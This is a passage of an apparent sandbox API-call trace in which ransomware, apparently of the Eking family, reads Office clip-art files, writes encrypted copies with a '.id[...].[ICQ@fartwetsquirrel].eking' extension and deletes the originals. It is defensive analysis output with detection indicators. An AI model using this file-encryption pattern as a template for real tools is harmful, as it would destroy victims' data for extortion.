1 [0260.409] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1f20, lpOverlapped=0x0) returned 1 [0260.411] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0260.411] CloseHandle (hObject=0x3a0) returned 1 [0261.352] CloseHandle (hObject=0x390) returned 1 [0261.353] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0 [0261.354] SetEvent (hEvent=0x2b8) returned 1 [0261.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0261.358] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=13515) returned 1 [0261.358] CloseHandle (hObject=0x390) returned 1 [0261.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0261.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0261.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0261.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0261.359] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0261.359] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0261.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0261.360] ReadFile (in: hFile=0x390, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x34cb, lpOverlapped=0x0) returned 1 [0261.368] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x34d0, lpOverlapped=0x0) returned 1 [0261.371] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0261.371] CloseHandle (hObject=0x390) returned 1 [0261.371] CloseHandle (hObject=0x394) returned 1 [0261.372] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0 [0261.373] SetEvent (hEvent=0x2b8) returned 1 [0261.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0261.374] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=20189) returned 1 [0261.374] CloseHandle (hObject=0x394) returned 1 [0261.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0261.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0261.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0261.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0261.376] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0261.376] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0261.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0261.378] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4edd, lpOverlapped=0x0) returned 1 [0261.385] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4ee0, lpOverlapped=0x0) returned 1 [0261.387] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0261.387] CloseHandle (hObject=0x394) returned 1 [0261.388] CloseHandle (hObject=0x390) returned 1 [0261.388] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0 [0261.389] SetEvent (hEvent=0x2b8) returned 1 [0261.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0261.391] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=20454) returned 1 [0261.391] CloseHandle (hObject=0x390) returned 1 [0261.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0261.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0261.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0261.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0261.392] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0261.392] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0261.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0261.397] ReadFile (in: hFile=0x390, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4fe6, lpOverlapped=0x0) returned 1 [0261.401] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4ff0, lpOverlapped=0x0) returned 1 [0261.756] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0261.757] CloseHandle (hObject=0x390) returned 1 [0261.757] CloseHandle (hObject=0x394) returned 1 [0261.757] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0 [0262.492] SetEvent (hEvent=0x2b8) returned 1 [0262.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0262.497] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=8772) returned 1 [0262.497] CloseHandle (hObject=0x348) returned 1 [0262.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0262.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0262.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0262.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0262.498] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0262.498] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0262.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0262.500] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2244, lpOverlapped=0x0) returned 1 [0262.506] WriteFile (in: hFile=0x354, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2250, lpOverlapped=0x0) returned 1 [0262.508] WriteFile (in: hFile=0x354, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0262.508] CloseHandle (hObject=0x348) returned 1 [0262.508] CloseHandle (hObject=0x354) returned 1 [0262.509] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0 [0262.509] SetEvent (hEvent=0x2b8) returned 1 [0262.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0262.510] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=14486) returned 1 [0262.510] CloseHandle (hObject=0x354) returned 1 [0262.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0262.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0262.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0262.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0262.513] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0262.513] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0262.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0262.515] ReadFile (in: hFile=0x354, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x3896, lpOverlapped=0x0) returned 1 [0262.518] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x38a0, lpOverlapped=0x0) returned 1 [0262.520] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0262.520] CloseHandle (hObject=0x354) returned 1 [0262.520] CloseHandle (hObject=0x348) returned 1 [0262.521] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0 [0262.522] SetEvent (hEvent=0x2b8) returned 1 [0262.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0262.524] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=18304) returned 1 [0262.524] CloseHandle (hObject=0x348) returned 1 [0262.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0262.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0262.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0262.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0262.525] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0262.525] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0262.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0262.526] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4780, lpOverlapped=0x0) returned 1 [0262.530] WriteFile (in: hFile=0x354, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4790, lpOverlapped=0x0) returned 1 [0262.703] WriteFile (in: hFile=0x354, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0262.744] CloseHandle (hObject=0x348) returned 1 [0262.744] CloseHandle (hObject=0x354) returned 1 [0262.745] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0 [0262.745] SetEvent (hEvent=0x2b8) returned 1 [0262.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0262.747] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9818) returned 1 [0262.747] CloseHandle (hObject=0x354) returned 1 [0262.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0262.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0262.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0262.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0262.748] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0262.748] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0262.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0262.750] ReadFile (in: hFile=0x354, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x265a, lpOverlapped=0x0) returned 1 [0262.839] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2660, lpOverlapped=0x0) returned 1 [0262.841] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0262.842] CloseHandle (hObject=0x354) returned 1 